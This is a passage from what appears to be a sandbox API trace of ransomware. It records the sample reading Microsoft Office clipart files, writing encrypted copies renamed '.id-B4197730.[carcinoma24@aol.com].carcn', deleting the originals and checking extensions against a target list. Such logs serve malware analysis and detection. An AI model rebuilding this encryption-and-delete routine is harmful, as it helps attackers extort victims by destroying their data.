office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0297.999] GetLastError () returned 0x0 [0297.999] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1138, lpOverlapped=0x0) returned 1 [0298.000] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1140, lpOverlapped=0x0) returned 1 [0298.001] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.001] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.001] SetEndOfFile (hFile=0x340) returned 1 [0298.001] CloseHandle (hObject=0x340) returned 1 [0298.001] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.001] SetEndOfFile (hFile=0x364) returned 1 [0298.002] CloseHandle (hObject=0x364) returned 1 [0298.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0298.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.003] lstrlenW (lpString=".doc") returned 4 [0298.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.003] lstrlenW (lpString=".docx") returned 5 [0298.003] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.003] lstrlenW (lpString=".pdf") returned 4 [0298.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.003] lstrlenW (lpString=".xls") returned 4 [0298.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.003] lstrlenW (lpString=".xlsx") returned 5 [0298.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.003] lstrlenW (lpString=".ppt") returned 4 [0298.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.004] lstrlenW (lpString=".zip") returned 4 [0298.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.004] lstrlenW (lpString=".rar") returned 4 [0298.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.004] lstrlenW (lpString=".bz2") returned 4 [0298.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.004] lstrlenW (lpString=".7z") returned 3 [0298.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.004] lstrlenW (lpString=".dbf") returned 4 [0298.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.004] lstrlenW (lpString=".1cd") returned 4 [0298.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.004] lstrlenW (lpString=".jpg") returned 4 [0298.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.004] lstrlenW (lpString=".doc") returned 4 [0298.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.004] lstrlenW (lpString=".docx") returned 5 [0298.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.004] lstrlenW (lpString=".pdf") returned 4 [0298.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.004] lstrlenW (lpString=".xls") returned 4 [0298.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.005] lstrlenW (lpString=".xlsx") returned 5 [0298.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.005] lstrlenW (lpString=".ppt") returned 4 [0298.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.005] lstrlenW (lpString=".zip") returned 4 [0298.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.005] lstrlenW (lpString=".rar") returned 4 [0298.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.005] lstrlenW (lpString=".bz2") returned 4 [0298.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.005] lstrlenW (lpString=".7z") returned 3 [0298.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.005] lstrlenW (lpString=".dbf") returned 4 [0298.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.005] lstrlenW (lpString=".1cd") returned 4 [0298.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0298.005] lstrlenW (lpString=".jpg") returned 4 [0298.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.005] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.005] lstrlenW (lpString="BL00923_.WMF") returned 12 [0298.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0298.006] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6256) returned 1 [0298.006] CloseHandle (hObject=0x364) returned 1 [0298.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0298.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0298.006] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.006] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0298.007] GetLastError () returned 0x0 [0298.007] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1870, lpOverlapped=0x0) returned 1 [0298.008] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1880, lpOverlapped=0x0) returned 1 [0298.010] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.010] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.010] SetEndOfFile (hFile=0x340) returned 1 [0298.010] CloseHandle (hObject=0x340) returned 1 [0298.010] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.010] SetEndOfFile (hFile=0x364) returned 1 [0298.011] CloseHandle (hObject=0x364) returned 1 [0298.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0298.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.012] lstrlenW (lpString=".doc") returned 4 [0298.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.012] lstrlenW (lpString=".docx") returned 5 [0298.012] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.012] lstrlenW (lpString=".pdf") returned 4 [0298.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.012] lstrlenW (lpString=".xls") returned 4 [0298.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.012] lstrlenW (lpString=".xlsx") returned 5 [0298.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.012] lstrlenW (lpString=".ppt") returned 4 [0298.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.012] lstrlenW (lpString=".zip") returned 4 [0298.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.012] lstrlenW (lpString=".rar") returned 4 [0298.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString=".bz2") returned 4 [0298.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString=".7z") returned 3 [0298.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.013] lstrlenW (lpString=".dbf") returned 4 [0298.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.013] lstrlenW (lpString=".1cd") returned 4 [0298.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.013] lstrlenW (lpString=".jpg") returned 4 [0298.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.013] lstrlenW (lpString=".doc") returned 4 [0298.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString=".docx") returned 5 [0298.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.013] lstrlenW (lpString=".pdf") returned 4 [0298.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString=".xls") returned 4 [0298.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.013] lstrlenW (lpString=".xlsx") returned 5 [0298.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.013] lstrlenW (lpString=".ppt") returned 4 [0298.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.014] lstrlenW (lpString=".zip") returned 4 [0298.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.014] lstrlenW (lpString=".rar") returned 4 [0298.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.014] lstrlenW (lpString=".bz2") returned 4 [0298.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.014] lstrlenW (lpString=".7z") returned 3 [0298.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.014] lstrlenW (lpString=".dbf") returned 4 [0298.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.014] lstrlenW (lpString=".1cd") returned 4 [0298.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0298.014] lstrlenW (lpString=".jpg") returned 4 [0298.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.015] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.015] lstrlenW (lpString="BL00932_.WMF") returned 12 [0298.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0298.015] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19476) returned 1 [0298.015] CloseHandle (hObject=0x364) returned 1 [0298.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220 [0298.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0298.016] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.016] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0298.017] GetLastError () returned 0x0 [0298.017] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x4c14, lpOverlapped=0x0) returned 1 [0298.674] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x4c20, lpOverlapped=0x0) returned 1 [0298.675] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.675] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.675] SetEndOfFile (hFile=0x340) returned 1 [0298.676] CloseHandle (hObject=0x340) returned 1 [0298.676] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.676] SetEndOfFile (hFile=0x364) returned 1 [0298.677] CloseHandle (hObject=0x364) returned 1 [0298.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0298.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.678] lstrlenW (lpString=".doc") returned 4 [0298.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.678] lstrlenW (lpString=".docx") returned 5 [0298.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.678] lstrlenW (lpString=".pdf") returned 4 [0298.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.678] lstrlenW (lpString=".xls") returned 4 [0298.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.678] lstrlenW (lpString=".xlsx") returned 5 [0298.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.678] lstrlenW (lpString=".ppt") returned 4 [0298.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.678] lstrlenW (lpString=".zip") returned 4 [0298.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.678] lstrlenW (lpString=".rar") returned 4 [0298.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.678] lstrlenW (lpString=".bz2") returned 4 [0298.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.678] lstrlenW (lpString=".7z") returned 3 [0298.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.679] lstrlenW (lpString=".dbf") returned 4 [0298.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.679] lstrlenW (lpString=".1cd") returned 4 [0298.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.679] lstrlenW (lpString=".jpg") returned 4 [0298.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.679] lstrlenW (lpString=".doc") returned 4 [0298.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.679] lstrlenW (lpString=".docx") returned 5 [0298.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.679] lstrlenW (lpString=".pdf") returned 4 [0298.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.679] lstrlenW (lpString=".xls") returned 4 [0298.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.680] lstrlenW (lpString=".xlsx") returned 5 [0298.680] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.680] lstrlenW (lpString=".ppt") returned 4 [0298.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.680] lstrlenW (lpString=".zip") returned 4 [0298.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.680] lstrlenW (lpString=".rar") returned 4 [0298.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.680] lstrlenW (lpString=".bz2") returned 4 [0298.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.680] lstrlenW (lpString=".7z") returned 3 [0298.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.680] lstrlenW (lpString=".dbf") returned 4 [0298.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.680] lstrlenW (lpString=".1cd") returned 4 [0298.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0298.680] lstrlenW (lpString=".jpg") returned 4 [0298.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.680] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.680] lstrlenW (lpString="BS00174_.WMF") returned 12 [0298.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0298.681] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=8366) returned 1 [0298.681] CloseHandle (hObject=0x364) returned 1 [0298.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0298.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0298.682] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.682] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0298.682] GetLastError () returned 0x0 [0298.682] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: 